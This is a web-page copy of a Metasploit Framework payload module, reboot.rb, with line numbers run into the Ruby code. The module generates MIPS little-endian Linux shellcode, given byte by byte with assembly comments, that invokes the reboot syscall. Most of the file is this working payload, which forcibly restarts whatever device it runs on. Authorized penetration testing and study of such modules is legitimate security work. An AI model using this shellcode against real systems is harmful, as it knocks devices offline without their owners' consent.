Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/linux/mipsle/reboot.rb
Views: 11782
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule67CachedSize = 3289include Msf::Payload::Single10include Msf::Payload::Linux1112def initialize(info = {})13super(merge_info(info,14'Name' => 'Linux Reboot',15'Description' => %q{16A very small shellcode for rebooting the system.17This payload is sometimes helpful for testing purposes.18},19'Author' =>20[21'Michael Messner <devnull[at]s3cur1ty.de>', #metasploit payload22'rigan - <imrigan[at]gmail.com>' #original payload23],24'References' =>25[26['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php']27],28'License' => MSF_LICENSE,29'Platform' => 'linux',30'Arch' => ARCH_MIPSLE,31'Payload' =>32{33'Offsets' => {} ,34'Payload' => ''35})36)37end3839def generate(_opts = {})40shellcode =41"\x21\x43\x06\x3c" + # lui a2,0x432142"\xdc\xfe\xc6\x34" + # ori a2,a2,0xfedc43"\x12\x28\x05\x3c" + # lui a1,0x281244"\x69\x19\xa5\x34" + # ori a1,a1,0x196945"\xe1\xfe\x04\x3c" + # lui a0,0xfee146"\xad\xde\x84\x34" + # ori a0,a0,0xdead47"\xf8\x0f\x02\x24" + # li v0,408848"\x0c\x01\x01\x01" # syscall 0x404044950return super + shellcode51end52end535455